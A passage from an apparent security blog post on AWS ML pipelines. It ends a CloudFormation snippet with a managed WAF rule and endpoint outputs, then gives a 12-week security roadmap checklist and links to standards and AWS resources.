              <span class="na">Name</span><span class="pi">:</span> <span class="s">AWSManagedRulesKnownBadInputsRuleSet</span>
          <span class="na">OverrideAction</span><span class="pi">:</span>
            <span class="na">None</span><span class="pi">:</span> <span class="pi">{}</span>
          <span class="na">VisibilityConfig</span><span class="pi">:</span>
            <span class="na">SampledRequestsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">CloudWatchMetricsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">MetricName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-bad-inputs'</span>

<span class="na">Outputs</span><span class="pi">:</span>
  <span class="na">EndpointName</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Name of the created endpoint</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">Endpoint</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-endpoint-name'</span>
  
  <span class="na">EndpointArn</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">ARN of the created endpoint</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">Endpoint</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-endpoint-arn'</span>
  
  <span class="na">EndpointUrl</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">URL for invoking the endpoint</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">https://runtime.sagemaker.${AWS::Region}.amazonaws.com/endpoints/${EndpointName}/invocations'</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-endpoint-url'</span>
  
  <span class="na">SecurityGroupId</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Security group ID for endpoint clients</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ClientSecurityGroup</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-client-sg-id'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="implementation-roadmap-for-secure-ml-pipelines">Implementation Roadmap for Secure ML Pipelines</h2>

<h3 id="phase-1-data-security-foundation-weeks-1-3">Phase 1: Data Security Foundation (Weeks 1-3)</h3>

<p><strong>Week 1: Data Infrastructure Security</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement secure S3 buckets with KMS encryption</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure VPC endpoints for data access</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up IAM policies with least privilege access</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy data classification and tagging system</li>
</ul>

<p><strong>Week 2: Data Pipeline Security</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement data validation and quality checks</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy PII detection and anonymization</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up data lineage tracking system</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure audit logging for data access</li>
</ul>

<p><strong>Week 3: Privacy Protection Implementation</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy differential privacy techniques</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement data masking and anonymization</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up consent management system</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure privacy impact assessments</li>
</ul>

<h3 id="phase-2-training-security-weeks-4-6">Phase 2: Training Security (Weeks 4-6)</h3>

<p><strong>Week 4: Training Environment Setup</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Create isolated VPCs for training</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy network security controls</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement container security scanning</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up secure training image repositories</li>
</ul>

<p><strong>Week 5: Model Security Implementation</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy model encryption and signing</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement model versioning and integrity checks</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up model artifact protection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure training job monitoring</li>
</ul>

<p><strong>Week 6: Advanced Training Security</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement federated learning capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy secure multi-party computation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up homomorphic encryption for training</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure adversarial training techniques</li>
</ul>

<h3 id="phase-3-deployment-security-weeks-7-9">Phase 3: Deployment Security (Weeks 7-9)</h3>

<p><strong>Week 7: Inference Security</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy secure model endpoints with authentication</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement rate limiting and WAF protection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up inference monitoring and alerting</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure model performance tracking</li>
</ul>

<p><strong>Week 8: Production Hardening</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement A/B testing security controls</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy canary deployment automation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up model rollback capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure production incident response</li>
</ul>

<p><strong>Week 9: Advanced Deployment Security</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement adversarial attack detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy model explanation and interpretability</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up bias detection and mitigation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure continuous security validation</li>
</ul>

<h3 id="phase-4-monitoring-and-governance-weeks-10-12">Phase 4: Monitoring and Governance (Weeks 10-12)</h3>

<p><strong>Week 10: Security Monitoring</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy SIEM integration for ML events</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement behavioral analytics for users</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up automated threat detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure security dashboards and alerting</li>
</ul>

<p><strong>Week 11: Compliance and Governance</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement compliance monitoring automation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy policy-as-code for ML governance</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up audit reporting and evidence collection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure risk assessment automation</li>
</ul>

<p><strong>Week 12: Optimization and Maturity</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Conduct security maturity assessment</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Optimize performance and cost efficiency</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement advanced threat hunting</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish continuous improvement processes</li>
</ul>

<h2 id="related-articles-and-additional-resources">Related Articles and Additional Resources</h2>

<h3 id="aws-documentation">AWS Documentation</h3>
<ul>
  <li><a href="https://docs.aws.amazon.com/sagemaker/latest/dg/security.html">SageMaker Security Best Practices</a></li>
  <li><a href="https://docs.aws.amazon.com/wellarchitected/latest/machine-learning-lens/security-pillar.html">MLOps Security Guide</a></li>
  <li><a href="https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/implement-data-lineage-for-data-lakes-on-aws.html">Data Pipeline Security</a></li>
</ul>

<h3 id="industry-standards">Industry Standards</h3>
<ul>
  <li><a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST AI Risk Management Framework</a></li>
  <li><a href="https://www.iso.org/standard/74438.html">ISO/IEC 23053:2022 AI Security</a></li>
  <li><a href="https://owasp.org/www-project-machine-learning-security-top-10/">OWASP ML Security Top 10</a></li>
</ul>

<h3 id="community-resources">Community Resources</h3>
<ul>
  <li><a href="https://github.com/disesdi/mlsecops-references">MLSecOps Community</a></li>
  <li><a href="https://github.com/aws-samples/amazon-sagemaker-secure-mlops">AWS ML Security Samples</a></li>
  <li><a href="https://sagemaker-security.workshop.aws/">SageMaker Security Workshop</a></li>
</ul>

<hr />

<p><em>This comprehensive guide provides the foundation for implementing secure AI/ML pipelines on AWS. The combination of data protection, model security, and deployment safety creates a robust MLOps security posture for enterprise environments.</em></p>]]></content><author><name>Jon (JR) Price</name></author><category term="DevSecOps" /><category term="Security" /><category term="ai-security" /><category term="aws-sagemaker" /><category term="ml-pipeline-security" /><category term="mlops-security" /><category term="model-security" /><category term="secure-machine-learning" /><summary type="html"><![CDATA[Comprehensive guide to implementing security throughout the AI/ML development lifecycle on AWS, from data preparation to model deployment and monitoring]]></summary></entry></feed>